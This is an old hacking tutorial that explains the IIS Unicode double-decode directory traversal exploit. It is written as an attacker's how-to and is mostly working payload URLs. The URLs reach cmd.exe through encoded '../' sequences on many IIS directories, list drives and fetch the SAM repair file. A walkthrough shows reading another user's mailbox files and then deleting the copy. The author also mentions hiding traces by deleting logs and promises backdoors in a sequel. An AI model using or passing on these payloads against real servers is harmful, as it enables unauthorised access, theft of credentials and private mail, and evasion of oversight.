|
By Lucky
Unicode extensions are installed by default with Microsoft
Internet Information Server (IIS) version 4.0 and 5.0. This
is to allow characters that are not used in the English
language to be recognized by web servers. As we know
computers just deal with numbers. It store letters and other
characters by assigning a number for each one. Unicode
provides a unique number for every character. Unicode forms
a single character set across all languages. It's a standard
2-byte or 3-byte character set. The IIS Unicode Exploit
allows users to run arbitrary commands on the web server.
IIS servers with the Unicode extensions loaded are
vulnerable unless they are running current patches.
When
can this exploit be used ?
1. A writeable or executable directory is available;
allowing attackers to upload malicious code.
2. A system executable such as cmd.exe is available on the
root and doesn't have an access control list applied to it.
Now I'll explain you in details how this technique can be
used exploiting servers.
The attack occur when an attacker sends a malformed URL to
a web server that looks something like this:
1.
http://TARGET/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
TARGET has a virtual executable directory e.g scripts ,
that is located on the same driver of Windows system. The
directory of C:\ will be revealed !
You must be wondering what these %255c are ? Well... go on
reading I have explained it later in this article.
2.
http://www.somesite.com/../../../../../winnt/repair/sam._
This one is simple to understand ; the web server will just
look for the file in the web root directory called
"../../../../../winnt/repair/sam._". The '../' tells the web
server to look up one directory , so five '../' 's in a row
will make the web server look in the document root for a
file called winnt/repair/sam._. The no. of '../''s does not
matter as long as as there are enough of them to recurse
back to the root of the file system (either c:\ or / on Unix
system)
The IIS Unicode exploit uses the HTTP protocol and
malformed URLs to traverse directories and execute arbitrary
commands on the vulnerable web servers. The IIS Unicode
exploit uses a Unicode representation of a directory
delimiter ( / ) to fool IIS . Because the exploit uses http,
it works right from the address bar of a browser. Because
of the non-interactive nature of this exploit, interactive
commands such as ftp & telnet don't work very well. We will
see later how it is possible to run commands interactively
using this exploit.
Example of Unicode exploit using a web browser. Note that
the output of the command dir c:\ is displayed.
Directory of C:\
10/24/2002 01:10p <DIR> Documents
and Settings
10/24/2002 03:45p <DIR> WinNT
10/25/2002 02:21p <DIR> Inetpub
10/29/2002 07:05a <DIR> Program
Files
11/01/2002 10:20a <DIR> temp
11/01/2002 11:55a <DIR> WebLogs
11/10/2002 01:00p <DIR> SQL
11/11/2002 09:45a
webstats.txt
11/11/2002 11:11a <DIR> Lucky
System
11/12/2002 10:23a <DIR> WINNT
11/15/2002 09:30a <DIR> Mail
1 File(s)
3,244,232 Bytes
10 Dir(s)
635,474,212 bytes free
Lets go into details....
Say the IP address of my site www.lucky-web.net is
202.232.54.20 and is running IIS ( which is not)
To understand the actual attack we will closely examine a
sample of the exploit.
http://202.232.54.20/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
We notice that the URL calls something from the /scripts
directory on the server www.lucky-web.net For this
particular version of exploit the scripts directory must
exist and the path to the executable cmd.exe must be
correct.
The next this we see is ..%c0%af. This string of
characters "%c0%af" is an overlong Unicode representation
for ' / '. If this Unicode exploit is loaded on the server,
the URL will be interpreted to be:
http://202.232.54.20/scripts/../../winnt/system32/cmd.exe?/c+dir+c:\
The URL backs out of the web root, to the root directory of
the server, then calls
winnt\system32\cmd.exe. We are using the command
interpreter (cmd.exe) to execute the command 'dir c:\' You
can also try running other commands like ping, netstat,
traceroute ...etc.
[Note->Ahh.. You ever thought why this exploit occurs ?
Well it occurs because the CGI routine within the web server
decodes the address twice. First CGI filename will be
decoded to check if it is an executable file ( e.g '.exe'
or '.com') After the filename checkup , IIS will run another
decode process. If you haven't got it, you will understand
it later ...just read on :) ]
We will find that substituting a / for the %c0%af will
result in a '404' error on the web server. ( Tip-> Don't
know what 404 error is ? goto
www.lucky-web.net/httperror.htm for details ) Thus we can
say that IIS checks the path before interpreting the Unicode
/.
In the above URL, "?" after cmd.exe means argument. In the
example given above:
http://202.232.54.20/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
the argument is /c which means it carries out the command
specified by string and then terminates. There are many
other arguments. Just do cmd.exe/? at your dos prompt. The
"+" indicates the space between arguments.
/..%255c..%255c This decodes to /..\..\ what we are
trying to do here is perform directory traversal.
If you know anything about Hexadecimal then you would
realise that we are sending a hex value to the server. Just
like %20 means space. So we know now that we need to send
hex value , we need to send a \ . Looking at hexadecimal
table you will find that \ is %5c . You might be thinking
that if you can use %5c instead of \ but we cannot because
this is checked by IIS and it would mean that someone is
trying to perform directory traversal upon the server. IIS
denies the user access. But luckily it gets checked twice so
if we send various hex values of %, 5, and c we should get
\ in return. Using hex table we find that % = %25
5 = %35
c = %63
We do not need to send a hex value for each value of %5c..
just as long as we finish up with %5c we will be fine. Now
that we know the hex value we can put them together to get
the %5c as required. Let me give you some examples so that
it's clear to you.
Combinations Break down of
combinations
--------------
-----------------------------------------------------
%255c %25 = % 5 = 5
c = c => %5c
%%35c % = % %35 = 5 c
= c => %5c
%%35%63 % = % %35 = 5 %63 =
c => %5c
%25%35%63 %25 = % %35 = 5 %63 =
c => %5c
Thereby '..\' can be represented by '..%255c' , '..%%35c'
etc. After first decoding, '..%255c' is turned into '..%5c'
IIS will take it as legal character string that can pass
security checkup. But after a second decode process, it will
be reverted to '..\' . Hmm... now you understand ?? I'm
sure you know why I'm asking this :) Hint: twice decode.
Lets move deep with various syntax & tricks
There are *many* vulnerabilities with IIS but I'm going to
discuss few . Wait for my IIS Unicode Exploit Part-II
article to be released later ....moreover I don't know ALL -
LoL !
http://IP
ADDRESS/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
http://IP
ADDRESS/msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
http://IP
ADDRESS/cgi-bin/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
http://IP
ADDRESS/iisadmpwd/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
http://IP
ADDRESS/samples/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
http://IP
ADDRESS/_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
http://IP
ADDRESS/_vti_bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
http://IP
ADDRESS/adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
Recall/see again the example I gave you earlier - the
output of the command 'dir c:\' shown in the web browser.
To navigate just change the links to
/system32/cmd.exe?/c+dir+c:\Inetpub to navigate Inetpub
directory.
Say there is mail system at my site and under Mail
directory there are subdirectories :
username_lucky-web.net\inbox\
Under inbox directory there are many .eml files which you
want to read. Lets assume username is lucky and the eml
file be
05215ac98el136b61450dle8b2.eml So what are we
waiting for ? Lets read the mail ! ( ohh ! I must delete all
my gf's email ! LOL ) What I did is gave the full path to
that eml file:
http://202.232.54.20/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\Mail\
lucky_lucky-web.net\inbox\05215ac98el136b61450dle8b2.eml
The output I got is :
Showing Directory of c:\Mail\lucky_lucky-web.net\inbox\
10/10/2002 07:58a 2,244
05215ac98el136b61450dle8b2.eml
1 File(s)
2,244 bytes
0 Dir(s)
23,234,544,239 bytes free
I even downloaded the eml file by using a download manager
, then changed it to .txt , but this also didn't help , I
got the same thing.. This means you cannot read these files
directly . So what we do is copy the eml file to c:\ of the
web server named as mail.txt . We write it as :
http://202.232.54.20/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+copy+c:\
Mail\lucky_lucky-web.net\inbox\05215ac98el136b61450dle8b2.eml+mail.txt
This also didn't work !! Do you know why ? how can you
access such a long eml file from command prompt ?? First get
the DOS 8.3 format . For that give
<path>\Mail\lucky_lucky-web.net\inbox\/x
note-> /x gives you the file names in 8.3 format.
Again
http://202.232.54.20/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+copy+c:\
Mail\lucky_lucky-web.net\inbox\/x
We get the file name as 05215A~1.EML
Now ,
http://202.232.54.20/scripts/..%255c..%255cwinnt/system32/cmd.exe?/
c+copy+c:\Mail\lucky_lucky-web.net\inbox\05215A~1.EML+mail.txt We Get :
CGI Error
The specified CGI application misbehaved by not returning a
complete set of HTTP headers. The headers it did return are:
1 file(s) copied
Voila !! we got it ! we have copied the mail.txt to c:\
just using simply
http://202.232.54.20/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+type+c:\mail.txt
Now you can see the contains of it :)
Remember to delete the file after reading
http://202.232.54.20/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+del+c:\mail.txt
You can try out simple commands like this. I hope you got
the idea !
The basic Unicode commands are :
- dir : list a directory
- dir/x : list it in dos form ~ (8.3)
- call : starts a exe
- start : starts a exe
- del : deletes a file
- type : view files
- copy : copies a file
- /c : sends the commands to a shell that terminates
upon completion.
- /s : show the results
- /S : do a research
- /h : run a file in hidden mode
- echo : it orders to write the commands in a textual file.
Here I come to the end of this article. Isn't it simple ?
heh ! You also try to experiment with these... shhh.. wait
you haven't learned yet how to delete the log files ! So
BeWare ! I didn't want to make this article too long( as I'm
lazy) so I have divided this into two parts . The next part
( Part II) will be more interesting part as we will see how
to use Exploit through string vulnerabilities, run & upload
a back door, TFTP exploit method and ofcourse how to delete
the logs and lots more.... :) I'll start writting ASAP.
By- Lucky
Lucky@lucky-web.net
http://www.lucky-web.net/
To receive tutorials/manuals join the mailing list by
sending a blank email to :
members_luckyweb-subscribe@egroups.com |